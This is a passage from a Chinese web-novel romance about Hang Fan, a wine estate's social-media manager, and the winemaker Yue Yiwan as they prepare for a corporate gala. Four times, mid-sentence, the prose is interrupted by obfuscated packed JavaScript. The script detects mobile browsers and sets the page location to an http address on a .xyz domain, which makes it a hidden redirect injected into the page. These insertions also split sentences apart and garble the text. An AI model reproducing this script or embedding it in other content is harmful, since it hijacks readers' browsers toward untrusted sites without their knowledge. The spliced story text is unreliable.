“哎呀,杭总监,”噗嗤一声,岳大师明知故问道:“是站不起来吗?腿蹲麻了?” 这厮嘴上装得关切,实则只用两根手指虚虚地扣住了对方的手腕——浑然就是个完全无法让人借力的动作。 这人在使坏!杭帆立刻就发现了。 “您老就不能发发善心,拉我一把吗?”他嘶声抽气着问。 奸计得逞的岳大师,立刻开始坐地起价:“想要我帮你?”这家伙笑眯眯地说道:“求我啊。” “求你。”杭总监字正腔圆,仿佛一早就猜到了会有这样的套路:“求您了?” 这下,沉默气氛落到了岳一宛的头上。 他轻轻松松地就架着胳膊把人从地上提溜了起来,嘴里却还兀自犯着嘀咕道:“……不对吧,这怎么感觉跟我想的不太一样呢?” 此人的语气满是捶胸顿足的遗憾,好像是错过了什么天大的乐子:“我想要的明明就不是这种效果啊!” 呵!天真。揉着自己的小腿肚,杭总监在心中连声冷笑。 想用互联网段子来套路我?下辈子吧。 这天的晚餐是由岳一宛下厨,理由无他,刚在三局两胜的划拳里输掉了而已。 “你现在到底同时在做多少个账号?” 戴着厨用手套,岳大师正在往烤鸡的肚子里塞入香茅与柠檬等调味料:“怎么感觉这两天见到你的时候都是在工作?”语气里还颇有些半真半假的幽怨。 杭帆把自己的笔记本电脑搬进了厨房的餐桌上,“把不同平台全加起来?是四……不对,五个账号。”当然,这里面有四个都是斯芸的官方账户。 明天要发的照片都已经整理完成,他现在正在撰写文案的部分——关于“剪枝”的新鲜知识,正像一群刚上岸的聒噪鸭子似的,被小杭总监一股脑儿地赶进了文档里。 “真的会有人想要在网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686624|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上看这种内容吗?”把托盘推入烤箱,岳一宛大感疑惑:“罗彻斯特酒业到底是想要增加销售量,还是想要向网友传授葡萄种植技术?” 杭总监的语气干瘪,把键盘敲得像是念经和尚的木鱼:“哈哈,当然没有人要看。”他已经连情绪都被抽空了:“但凡网友会喜欢看这种东西,我哪里还至于要自己下场开设个人账户来给官号引流!” 奢侈品的价值从不来源于商品自身。 对于罗彻斯特集团而言,它麾下的品牌所贩卖的都是某种纸醉金迷的生活方式,一场对于成功与奢靡的曼妙幻想。 高定时装的广告片里,匠人们在宽敞明亮的工作间中俯身劳作,沉默稳重得像是皇家雇员。优雅的艺术字体适时浮现出来,轻描淡写地提示看客:一块蕾丝面料,需要由最熟练的织匠连续编制三百天,再经由刺绣五百小时的刺绣,才能呈现出这样一件旷世的杰作。 “奢侈”,意味着工时的靡费。一瓶要价非凡的葡萄酒,就如同一件华奢璀璨的衣服,它的背后是无数人付出的成千上万个小时的辛苦劳动。 “为什么品牌方总爱为高级珠宝的制作过程拍摄纪录片?因为制作它的艰辛困苦,会让客人觉得物有所值。” 杭帆熟悉所有的这些品牌营销套路,就像是一个老练的匠人熟悉自己手边的全套工具。但这也让他愈发感到,浮华背后的逻辑傲慢得令人想要呕吐。 最昂贵的东西往往脱胎于最贫穷的人手中。完美无瑕的璀璨宝石被发掘在战乱饥馑之地,润泽华耀的珍珠还需由过劳的女工们在灯下手动挑拣比对。 那些严重不平等的低廉报酬,那些充满霉臭味的恶劣工作环境,它们从来不会被品牌方精心制作的广告视频所展现。无数活生生的被压迫的人,都被轻描淡写地总结成几个数字,在配乐优美的镜头里一闪而过。 “为了制作这样一件奢侈的商品,有多少个人提供了多少个时长的服务,以此来暗示购买者的身份高贵与地位优越之类的……”杭帆道,“卖衣服,卖珠宝,卖红酒,各家奢侈品牌翻来覆去地也不过就是这么些话术。” “但我不想发布这种内容。因为我总感觉这不太对劲。” 这像是对酿酒师纯粹理想的侮辱。 苦笑一声,他将视线从电脑屏幕上移开。 “但你也知道,除开这种‘人上人’发言,能用斯芸酒庄的账号来发布的内容也实在是不多。” 反正同样都是没有人看,比起那些拿腔作势的空洞文案,杭帆更愿意写些对蓬莱产区的风土介绍,或是对春季剪枝工作的描述与科普。 在独自重复着枯燥工作的漫漫长夜里,是这些内容让他想起岳一宛,想到酿酒师对脚下这片葡萄园的热爱。 苦中作乐地,杭总监为自己做着开解,“往好处想,至少我还能发发地里的葡萄呢。” 他说:“不像那些给手袋品牌做运营的可怜人,一天天地没什么新内容可发也就罢了,还要时刻担心被动物保护组织给投诉炸号……” “没有内容可发?谁说的。” 打开烤箱门,岳一宛漫不经心地扔下一颗惊天爆弹:“提前给你剧透一下,罗彻斯特今年的新闻发布会兼招待晚宴,就在斯芸酒庄里办。” 在黄油与鸡肉的热腾腾香气里,杭帆的下巴差点砸到键盘上。 “你来活儿了,杭总监。” 酿酒师愉快地宣布道。 57.疯狂前奏进行曲 身为社畜,杭帆最害怕的事情是没活儿。因为这将意味着自己离失业不远了。 第二害怕的事情则是突然间来了个大活。因为这就意味着他距离猝死不远了。 @永别吧老板我将辞职去远杭:我没有见过凌晨五点的洛杉矶,但我真的爬过凌晨三点的山。@斯芸酒庄辞职前迟早把你那土坡给推平了。 视频里,杭帆正独自沿着黑黝黝的小径,向着山坡的顶端走去。 他一手拿着开启导航的手机,一手握着运动相机的支架,嘴里还咬着一支户外强光手电筒,浑身上下都透露出了被工作折磨的疲惫——再配上那副早已魂归天外的表情,和麻木缓慢的动作,小杭总监觉得自己简直就像是一只在入侵城市后学会了会操作电子设备的僵尸。 当他终于有气无力地移动到了山顶,远处的灯牌却突然闪动了两下,毫无预兆地熄灭了。 在被无言沉默所浸透的黑暗之中,苏玛给配的字幕缓缓浮起。 「后来,工人师傅们说,是因为昨晚突然下起一阵小雨,裸露在外的电线不幸泡入积水,最终导致了短路。」 「而这意味着,在他们修好电线之后,我还得重新爬上来,再拍一次。」 大清早,杭帆步履虚浮地撞进厨房里。 由于此人的模样实在过于凄惨,连Antonio都忍不住要凑上前来道:“杭!别不高兴了,来喝一杯我的独家特调吧!” 在厨房里一阵倒腾,这位意大利籍的酿酒师兴致勃勃地端出一杯鸡尾酒:“保证让你立刻嗨起来!” 盯着面前这杯颜色可疑的悬浊液,杭帆觉得,自己的人生应该还没有可悲到这般地步才是。 “伏特加兑威士忌,再加上胡萝卜与番茄汁。”在旁边看热闹的岳一宛闲闲开口,“以杭总监的酒量,只需要一杯,就能让你原地昏迷一整天。” 头痛腿痛肩膀也痛,杭总监捂住了自己的胃,怀疑这两人是要联合起来谋害自己。 “我现在完全理解了你对下雨这件事的仇恨。” 唉声叹气地,他在餐桌边坐下,对岳一宛道:“虽然没有拍到灯牌的照片,但那边的拍摄角度也不是特别好,明早我再换个山头试试。” “就必须要凌晨就三点上山拍吗?”鬼鬼祟祟地摸到了岳一宛身边,Antonio想要伸手偷走那片刚烤好的吐司,“杭,你下午就上山,等天黑下来再拍——” 一把打掉了他的贼爪,岳大师利落地把面包片投喂进了杭总监的盘子里。 “昨天晚上试拍过了,”两颊塞满食物的杭帆,像是一只正在思考宇宙终极意义的花栗鼠:“酒庄建筑的灯太亮,灯牌看不清楚。” 要不是实在走投无路,他也不至于铤而走险,黑灯瞎火地跑去爬山。 十七个小时之后,好心的岳大师毛遂自荐,带着杭总监抄了条上山的近路。 “你管这叫抄近路?!” 健步如飞的岳一宛,在前头自顾自地谈笑风生着,而杭帆气喘吁吁地跟在后头,只觉得自己两条腿都在抽筋:“这根本是自寻死路吧!!” 但是这一次,杭总监总算拍到了亮起的酒庄灯牌。 ——临时搭建起来的璀璨灯饰,是汉隶书写的“斯芸”二字,与酒标上的铭文一模一样。 在万籁静寂的暗夜里,远远近近的丘陵,连同陷入沉睡的酒庄建筑本身,都仿佛是用浓重墨块的层叠堆染而成。只有这座新竖立起的灯牌,像是一弯银白色的月光,静静地守望着脚下这片广袤的葡萄园。 安谧,悠长,如同最深沉的美梦。 “感觉有点可惜,”杭帆放下相机,眺望向酒庄的方向:“如果不是开完发布会就拆掉的话,大概会成为酒庄旅游的打卡胜地吧。” “不,他们不会有机会在我的葡萄园里打卡的。”岳一宛嗤笑着否决了这个提案,“种植园区乃酒庄重地,闲杂人等非请勿入。” 在斯芸酒庄的账号上,杭帆贴出了酒庄灯牌的夜景。 “辞职远杭”的账号下面,成群结队的网友们正在叽叽喳喳地哈哈大笑。 “我要是博主,我就跟施工团队拼了。五公里的上山距离,拿什么来赔我!” @永别吧老板我将辞职去远杭:得罪我,他们可算是踢到了棉花糖。 “这衰得有点离谱了兄弟,上山的一路上灯牌都还亮着呢,偏你爬到山顶就熄灭了草,你要不找个寺庙来拜一拜?祛祛晦气。” @永别吧老板我将辞职去远杭:拜黄大仙管用吗,上午刚抓到一只。 “不要抓黄大仙啊!黄大仙很灵的!我舅舅的同事的表姨就是因为伤害黄大仙,所以被车撞断了腿。” @永别吧老板我将辞职去远杭:刚好,腿断了就不用上班了。 “有人懂吗,灯灭掉之后的那几秒沉默真是精髓,感觉他整个人都傻掉了,笑死。” @永别吧老板我将辞职去远杭:以为是我瞎了,结果发现是天塌了。 “所以你到底是在酒庄做什么的?媒体营销人员?这不是找个外包就能做的吗?” @永别吧老板我将辞职去远杭:给你两千块,你做我的外包。 “虽然真的很好笑,但这种其实应该都是剧本吧?哪有人上班还会带着自拍杆的 [狗头] ” @永别吧老板我将辞职去远杭:都写剧本了,我为什么不写自己扛起机关枪冲进领导办公室扫射他,是因为我不想吗? “哈哈哈哈,杭老师工作得真是努力啊!你们酒庄能有这样的员工,可真是让人羡慕。” 杭帆划拉着屏幕的手指一顿,退回去重新看了眼评论人的昵称——拜平台的大数据算法所赐,某位以老熟人自居的家伙也找上门来了。 @永别吧老板我将辞职去远杭:低声点吧许老板,加班难道还光荣吗? @许东说酒:那杭老师考虑来我们这里呗,待遇嘛,一切好说。 @永别吧老板我将辞职去远杭:……如果人事部门来找我谈话,麻烦在场的各位网友帮我做个见证。真不是我自己要跳槽,是许老板先动的手。拜托了各位。 回复刚一已发出,来自许东的企业微信消息又狂震了起来,杭帆甚至都懒得费心去看。 许东这人,好像三天两头地都没有什么正经事,来来回回就是“杭老师真是妙人,等我下次经过烟台,咱们出来吃个饭吧”的这么几句话。 婉拒的次数多了,杭帆甚至开始有些确信,对方可能不是脸皮特厚,而是金鱼转世——每隔七天都会被重置一次记忆的那种。 可恶。近来每天都忙到昏天黑地的杭总监在心里含恨垂泪道:我也好想做这种无所事事又莫名其妙的有钱人啊! 春末夏初的这场新闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692335|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发布会,正式名称叫“罗彻斯特不眠夜”,是集团每年的固定项目。 除了向外界宣布商业上的新动向外,集团麾下的几个知名奢侈品牌,也会邀请自家的VIC客户们来到现场,与盛装出席的代言明星们共进晚餐。宴会的最后,还将有神秘嘉宾登台献唱,在管弦乐团的现场伴奏下,为出席现场的客人们留下永生难忘的回忆。 “高贵的浪漫”,这是每一届罗彻斯特不眠夜的代名词。 在经济环境最好的那几年里,罗彻斯特集团曾将自己的VIC客户们包机送往法国里维埃拉,或是意大利科莫湖畔,再不济,那也得是地处塞舌尔的某座私人岛屿:在蓝天碧水与白鸟霞光之中,在米其林餐厅提供的餐点与饮料环绕下,每一位莅临现场的贵客,都会被造型团队打扮成童话故事中的完美主角。 而在杭帆看来,所谓的奢华排场,不过是由无数摇摇欲坠的烂摊子拼凑而成。 “叨扰了叨扰了,不好意思啊,今年的预算实在不够,所以临时改了这里办,给你们添麻烦了。” 现场的执行负责人,前脚还对着岳一宛与酒庄的葡萄园经理连连点头致歉,后脚就在电话里冲人破口大骂:“我不听,别跟我说什么你有困难!困难解决不了你可以去死!你再给我打一百个电话,我也不可能给你变出十个客人的位置!没有!多一个也没有!” “设计稿是这个颜色吗?我眼睛没问题,你就告诉我,‘是’,还是‘不是’。” 从水上舞台开始搭建的那一日起,每天都有接连不断的争吵声从窗外传来:“不行,对,现在立刻重新上一遍漆。我知道,我知道你们也很难做,但现在这个东西让我签字验收,我也没法跟上面交待的好吗?” 而杭总监其实也没比其他人好上多少。 他塞着单边耳机和总部的同事们打电话,手上还马不停蹄地在写斯芸酒庄的介绍文案——在本届“罗彻斯特不眠夜”正式官宣后的十二小时,斯芸的全平台账号涨粉迅速,顷刻间就涌入了几万条千奇百怪的评论与私信,这让杭总监觉得是个宣传酒庄的好机会(至于能不能卖出葡萄酒,这事儿暂且另说)——与此同时,他的企业微信上还有上千条未读信息,十几个来自不同品牌的新媒体部门都在找他。 竖在一旁的运动相机,默默地记录着杭帆连续上工奋战的第七十个小时。他的键盘敲得冒火,待办事项列表里还有十几张酒庄宣传用的倒计时海报没做,苏玛正管他要“辞职远杭”的新视频剪辑指示,罗彻斯特酒业的工作群里在问“谢咏到底来不来”…… 还有岳一宛。关于晚宴当日供应的葡萄酒“兰陵琥珀”,岳一宛已经把详细的解说资料给发了过来。但杭帆还没能抽出空闲来看。 做不完,根本做不完!杭总监疑心自己大脑的运转速度已经开始变慢。 但是,这样不行。他用力掐了自己一把。如果为了能蹭上罗彻斯特不眠夜的热点,而把斯芸酒庄所酿造的葡萄酒给搁置在了一边,这不就彻底地本末倒置了吗? 得打开来看一下。他对自己说道,趁着斯芸的账号这几天有热度,先把“兰陵琥珀”的内容发掉,其余的…… 其余的……是要做什么来着……? 再次睁开眼,杭帆以为自己掉进了一个翠绿色的陷阱。 不到十公分的距离上,岳一宛正目不转睛地看着他。 58.怦然击鼓 在餐桌边撞见了一团人事不省的熟悉物体,岳大师差点被吓到魂飞魄散。 拜杭帆最近天天都把“猝死”二字挂在嘴上所赐,看到这人栽倒在电脑前一动不动的时候,岳一宛的脑中不可避免地闪过了一些最坏预想。 幸好,杭总监摸起来还是热的,暂时也看不出有呼吸停止的危险。 这家伙抱起来很轻,岳一宛心道。像是一捧羽毛,有风吹来,就会从自己的手中飞走。 奇异的感伤在首席酿酒师心头涌动,却又多少又有些莫名的不爽。 ——调岗来斯芸的历任外籍酿酒师,都说中国酒庄的伙食好得像是在养猪。怎么到了你杭帆身上,竟然一点重量都没有增加? “你究竟把饭吃到哪里去了,杭总监?” 把昏睡中的人抱回到了自己的床上,岳一宛坏心眼地揉捏起了对方的脸颊,硬是在一张欺霜赛雪似的脸上搓出了苹果般的浅红色:“你说说,每天早上被我投喂的那个人到底都是谁啊,嗯?不会是你的代班替身吧?” 在沉酣之中饱受骚扰的杭总监,略略皱了下眉头,旋即便默默地一缩脖子,熟练把自己的整个脑袋都给藏进了被子里。 岳一宛吱吱咕咕地笑了好一阵,重又两手并用地把杭小鸵鸟从被子里挖了出来——至少也得露出半张脸在外面吧?岳大师是这么对自己解释的,不然真的被闷到窒息了咋办? “就差这么一点点。” 刚一睁开眼睛的杭帆,思考模块还完全没能上线,岳一宛已经开始在他面前连比带划:“我都要以为你英勇殉职了,杭总监!这真是给我吓得,精神损失简直难以计量啊!” 好吵喔。杭帆心想。 在这令人安心的熟悉氛围里,他连开口说话都懒得。眼睛一闭,小杭总监只想把头埋进软绵绵的被子里,继续睡他个天昏地暗。 ——可是,诶……? 萦绕在他鼻尖的,并非是杭帆惯常使用的柑橘洗衣液的味道。 在厚重低沉的乌木香气里,轻巧地徘徊着一丝如露水般清爽的玫瑰味道。这个既广阔又跳脱的,让杭帆感到再熟悉不过的气味,是…… ——这不是岳一宛衣服上的味道吗?! “等等?!” 面红耳赤地,杭帆弹簧似的蹦了起来,“你,我,你……不对,我为什么会在你床上?!” 把胳膊支在床铺另一侧的枕头上,岳一宛用关爱小傻子似的眼神看过来。 “因为我没有你的房间密码啊,杭总监。” 岳大师说:“你以为自己昏迷才多久?让我看下,哦,已经过去四个多小时了呢杭总监!我总不能直接把你平摊在厨房的地板上,然后就放手不管了吧?” 此人过于词正理直,导致杭帆的脸虽然都已烫得几近自燃,却也实在找不出任何一句反驳的话。 胸腔深处,他的心脏砰然狂跳起来,仿佛新人鼓手因手足无措而胡乱地加速——而杭帆把这一切都归咎于岳一宛,一定是这人把脸凑得离自己太近的缘故! ——我还有好多工作没做完那我就暂且先告辞了……? 杭帆试图平稳地说出这句话。 他还试图尽力让大脑更加冷静一点,好让自己从床上爬起来的动作显得别那么狼狈。 可是,血肉所铸的身体,这个贪图安逸的叛徒,似乎总以背刺杭帆的意志为乐。 “……呃。” 在原地呆滞了三秒之后,在与岳一宛那双翠绿色瞳眸的对视下,他的嘴里竟然只发出一声近乎迷茫的拟声词。 拍了拍手底下的枕头,岳一宛自觉已经用上了十二分的怜爱语气:“杭总监,我看您要不还是多睡会儿吧。” 瞧你那眼下的一整圈青乌,他心想,罗彻斯特酒业难道是没有劳动法的吗? “而且现在都已经晚上十点了。”酿酒师循循善诱道,“放心,斯芸酒庄是不会因为你躺下睡了一觉就突然倒闭的啦。” 是因为长期缺觉吗?还是因为还没睡醒的缘故呢?坐在床上的杭帆,松松垮垮地披着被子,看上去有着毫不设防的真实与脆弱。 岳一宛莫名地想起了幼年时亲睹的第一场落雪。这令他想要伸出手去,想要珍而重之地将面前的人握在手心里,如同捧起一片永不融化的雪。 他想要开口,却被手机振动的铃声打断了。 “哇去,哇去!” 明明就没打开扬声器外放,可有些人的大呼小叫远比音响更有穿透力。 “可算是给我连上网了!天哪杭小帆,你知道吗,你这次真的差点就见不到我咧!差一点啊!” 听这人的语气,熟稔得像是他已经认识了杭帆一辈子。岳一宛心中顿时升起了一阵不快。 然而,在接到这通语音的瞬间,杭帆的神情就已然不自觉地柔和了下来。 “是啊,白小洋,”他习惯性地背过了身去,语气中却难掩笑意:“差一点我就要以为你在沙子里蒸发了。” 谁? 趁着杭帆下床拿过电脑的空档,岳一宛用口型问他。 杭帆指了指电话,也用口型回复:朋友。 朋友。岳一宛在心里颠来倒去地琢磨着这个词,总觉得怪不是滋味儿的。 什么朋友啊,他哼哼唧唧地在心里想,晚上十点了诶!谁家好人晚上十点钟还要给朋友打电话啊?! “放心吧杭小帆,我绝不会抛下你一个人在这世上做牛做马的。” 那家伙分明就是在胡言乱语,但口吻中却又有着出人意料的认真。而杭帆的嘴角正温柔地舒展开来,好像他已经等待了这通电话很久了一样。 不知为何,这场景让岳一宛感到刺痛 仿佛被小虫狠狠蛰了一口。 “那你最好是说到做到,白小洋同学。” 抱起自己的笔记本电脑,杭帆一边打着电话,一边转身要往门外走。 还没摸上门把手,他又转回身来,对岳一宛道:“0621,密码,现在你知道了。”眼睛亮晶晶地,杭帆冲房间的主人摆了摆手:“晚安,明天见。” 拖腔拖调地发出诶的一声,白洋似乎就是不能放过任何一个可以插嘴的时机:“密码?什么密码?你为什么要用自己的生日做密码?这也太容易被破解了吧杭帆,求你有点安全常识,哎不对,你的在线支付密码不会是年份加生日的组合吧?下次我铁定试试!” 反手关上岳一宛的员工宿舍门,杭帆干脆利落地向电话里扔去俩字。 “你滚。” 得到了白洋回到安全地带的消息,杭帆心中紧绷着的那一块终于松弛下来。 回到了正轨的生活总是那么平平无奇。就算加班加到天崩地裂,与生死相比,也都是只是寻常事。 随着时间的推进,“罗彻斯特不眠夜”的各项筹备工作也正在紧锣密鼓地进行中,间或穿插进一些压力爆表的社畜们的惨叫。 ——提议把红毯和舞台的部分进行线上直播?真是个不错的主意哈哈,那么谁去负责行政备案的文书准备工作呢?事先声明我们组已经全员超负荷运转。 杭帆一边剪着斯芸酒庄的活动预热视频,一边默不作声地听着语音会议里的争吵与对呛。他在自己的电脑文件夹深处翻了翻,啪得发出一个压缩包。 ——去年的文书模板。他说,我存了个备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696632|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份,或许有人需要? 几分钟之后,有人在群里@了自己的实习生,让小朋友同步更新一下工作进程日历,然后抓紧把文书改出来。 ——既然都是要的直播的,杭帆适时地提出自己的意见道,刚好我们斯芸酒庄也有自己的账号,我们也这边架一个直播机位吧。 赶在其他品牌的新媒体部门表示反对之前,杭总监已经条理清晰地把众人的话头都给堵死了:斯芸的直播机位会由我自己负责,就不用大家多操一份心了,他说。而且,活动当天能有多一个机位,多一条线路,总归也是给现场多上一份保障嘛。 ——那就这么决定了。“罗彻斯特不眠夜”的总负责人一锤定音。你们赶紧确定一下,在哪几个平台的哪几个账号上直播,尽早把宣传发出去。 杭帆混在一群人里发了个“收到”,顺手在自己的待办事项里加入了一条高光标亮的备注:记得在海报上强调,斯芸有独家直播机位。 两天之后,罗彻斯特麾下其他品牌的新媒体运营人员们也终于回过味儿来。 对呀!有直播,有明星代言人,还有当红艺人的现场表演!这难道不是天赐流量的完美良机吗? 梦才做到一半,喜获来自现场执行部门的一阵暴怒叱骂:你们都特么早干嘛去了?现在才说要来?现场哪里容纳得了这么多人?自带机位也不行!没地儿给你们留位置! 在远离舞台搭建噪音的山坡上,抱着电脑与移动电源的杭总监正盘腿坐在树荫下赶工,任由定时系统自动发布了斯芸酒庄在“罗彻斯特不眠夜”的独家机位直播预告。 尽管工作量已经大大超额,但一些私人生活方面的事情也在焦急等待着杭帆的斟酌与处理。 “你整理的内容我都看了,朱明华的个人情况不值得信任。你妈妈若是要和他结婚,那风险确实是挺大的。” 私人微信上,路律师给他发来了一大串消息:“婚前协议可以保护她的一部分权益,但这也是建立双方自愿签署了协议文件的前提下。我可以给你起草这份文件,但假如朱明华就是打死都不愿签这份文件的话,那之后的一切也就无从谈起。” “作为律师,我的建议是,这婚如果能不结,就最好还是不要结。”路清卿说:“虽说亡羊补牢为时未晚,但如果能从一开始就不埋下这个隐患,何乐而不为呢?作为朋友,我建议你不要指望婚前协议这种东西,还是想想办法劝你妈不要结婚为好。” 麻木地笑了笑,杭帆在手机上发出一张OK的表情包。 “清姐,”犹豫再三,他问道,“如果我想要更深入地调查一下这个人……您这边……” 路清卿不假思索地回答道:“这可不是律师的工作范围哦。” “但你可以和我的这个朋友聊一聊,”她在对话框里推来一张名片,“有了确凿的证据,我们再来判断怎么做,好吧?” 杭帆才刚存好名片,通讯录上就已跳出了一个红点。 ——速度这么快吗?! 杭总监大为震惊,这实时监控啊?! 你好,杭帆。 这头像完全空白的陌生联系人并非是路清卿所推荐的私家侦探。 我是Miranda,我需要你帮我一个忙。 无声无息地离开罗彻斯特酒业近三个月之后,Miranda女士的说话方式依然如旧。 罗彻斯特不眠夜,麻烦你在现场多设置一些相机,越多越好。 她没有询问杭帆的同意与否,也压根儿就不准备向他解释自己的用意。 如果可以的话,请让你的实习生全程跟拍Harris,注意别被他发现。她说。谢谢你。 59.砝码与天平 “你知道Miranda吗?” 夜宵时间,杭帆和岳一宛不约而同地在餐桌边碰头。 岳大师近来沉迷于研究酵母菌,一切能发酵的东西都难逃他的魔爪,连带着斯芸酒庄员工生活区的公共厨房都被迫加起了班。 “Miranda?你是在说哪个Miranda?” 眼看着这人快乐无比地翻搅着手底下的一堆瓶瓶罐罐,杭帆有点怀疑岳一宛是否把Miranda也当成了某种酵母菌的名字。 从冰箱里捞出一瓶新开封的醪糟,杭总监在灶台边煮起了两人份的酒酿圆子。 “就是我们之前的那位老板,”他耐心地对身边人解释,“罗彻斯特酒业的前任首席执行官。” 斯芸的首席酿酒师或许确实两耳不闻窗外事,但只要与Miranda见过一面,就没有人会轻易地将她忘记:为她那双鹰一样的锐利明亮的眼睛,也为她那副因保养得当而完全看不出具体年龄的脸庞。 一年四季,她永远身穿一套剪裁利落的黑色西装,脚蹬一双粗跟红底的黑色踝靴——和苏玛同届的实习生们曾经做过一次无聊的统计,他们声称Miranda女士的衣橱里至少有四十套面料版型互不相同的黑色西装。而无论刮风下雨,还是阴晴雨雪,Miranda的全套行头都锃亮如新,一尘不染,仿佛是有神奇魔法加护于身——气势迫人又笑容满面地走过上海总部的一楼长廊。 不管杭帆在何时何地见到她,Miranda女士的造型从来都纹丝不乱:她的头发染成浅栗色,以一种恰到好处的蓬松弧度,威风凛凛地垂落在肩上,光滑闪亮,像是盛年狮子的鬃毛。 是一种让人不由自主地就想对她用敬语的气质。杭总监曾如是说道,而苏玛则在边上拼命地点起了头。 “噢,你是说翁曼丽。” 熟练地打开了又一只玻璃瓶,岳一宛先是大力搅拌一阵,紧接着又往彤红如血的液体里放入了蜂蜜——单看此人的慈爱眼神,杭帆还以为他是瓶子里养了什么娇贵的小宠物。 “有点印象吧,虽然不多。”一套操作完成,岳大师仔细地合上密封盖,又把瓶身逐一得擦拭干干净净,这才小心地将它们全都收进了阴凉避光处的柜子里。 “怎么了?” 单手在锅边叩开两只鸡蛋,杭帆把Miranda私下联系自己的事情告诉了岳一宛。 “我不明白她的意思。”盯着面前这口咕嘟冒泡的奶锅,杭总监颇是有些郁闷:“被Harris挤掉了CEO的位置,所以怀恨在心?这点我倒是能够理解啦,但是……” 以勾心斗角的经验而论,Miranda和Harris都已堪称是聊斋级的万年大妖怪,两人加在一起,总共得有一千八百个心眼子。 而杭总监才只有多少年的修为?倘若连他都能抓住Harris的狐狸尾巴,那罗彻斯特酒业怕不是今天就直接倒闭算了! 说话间,岳大师已经又从柜子深处掏出了一罐紫红色的糊糊。 在被静置了不知多少天之后,这罐东西不仅已经氧化出了奇怪的褐色调,还上下分离成了液体与固体两部分。而在液体的最表层,又有一些堪称微妙的膜状泡沫在自由漂浮…… 杭帆站在灶台前,眼观眼鼻观鼻,一点也不敢去问这瓶东西的由来与成分。 这里是厨房。他告诉自己,人生在世,有些事情还是不要知道为好。 而岳一宛,这个荼害厨房圣地的罪魁祸首,正手法娴熟地从罐子里量了几十毫升的液体出来,然后毫不犹豫地把它们全都倒进了面粉里——兴奋得像是个第一次走进化学实验室的小学生。 在杭帆不忍猝睹的瞥视下,这个超龄小学生还要把罐子举到他面前问曰:你猜这是什么? 杭总监试图闭上眼装死,玻璃罐的冰凉质感却强硬地贴上了他的鼻尖。 ——是蓝莓的天然发酵液! 不顾杭帆炸毛猫咪般的抗拒神色,岳姓恶魔在他的耳边低语道:你尽可以猜猜看,杭总监,咱们昨天早上吃的面包是用什么来发酵的? 诶,你干吗露出这个表情? 岳一宛这人,理直气壮得那叫一个无法无天:我们酿酒师喜欢新品种的酵母,不就和杭总监想要尝试最新款的相机是一样的道理吗?放心好了,我可是发酵届的大宗师,怎么可能做个面包还会毒死你? “翁曼丽不一定想要立刻直接就扳倒Harris,但她肯定希望能借你的手来做点什么。” 也许是因为远离上海总部的缘故,提及这位Miranda女士的时候,岳一宛的语气远不如杭帆那样充满尊敬:“但因为某些原因,她又不想把自己知道的事情都告诉你。” “某些原因,”杭帆干巴巴地重复道,“你不如直接说,她可能是担心我会临阵倒戈去Harris那边。” 可是,但凡Harris当真心存此意,杭总监哪里还会被发配到千里之外的斯芸酒庄来? 手持硅胶刮刀,岳一宛反复搅和着可疑液体与无辜面粉的混合物,同时毫无波澜地做出了他的评论:“这是商业的世界,我亲爱的杭总监。” 他说:“商场之中,不会有永远的敌人,也不存在的永远的盟友。” “不涉及金钱的时候,人人都可以是朋友。但如果我们在讨论是一桩价值几千万甚至上亿的生意?你随时都可能会被任何人背叛。” 赶在沸腾汤水从锅中漫溢出来之前,杭帆眼疾手快地关掉了灶台旋钮。 “哦?那我还真要对你刮目相看了,岳大师。” 无不调侃地,他晃了晃手上的长柄勺:“我之前还以为你是那种一心沉迷酿酒世界,对人类的各种龌龊小心思都一无所知的世外高人呢。” “所以说,不要以貌取人。”岳一宛哼笑着用胳膊肘捅他,“人生短暂,统共也就只得几十个榨季。我只是觉得没必要把时间和精力浪费在那些自己不关心的事情上。” “不过你若是问我,我会建议你为自己留个后手。”他说,“如果你真的拍到了什么,也别轻易就交给翁曼丽。砝码这种东西嘛,只有捏在你自己手里的时候才最有价值。” “是是是,岳大师,您还是一如既往地不信任人性啊。” 在碗底铺了两大勺醪糟,杭帆将盛进碗里的酒酿圆子放到了岳一宛面前:“众所周知,您老喜欢葡萄的程度远甚于人类。除了葡萄和酒,你还有什么其他关心的事情吗?” “人性就是完全经不起考验的啦。”手上不停折腾着他的诡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 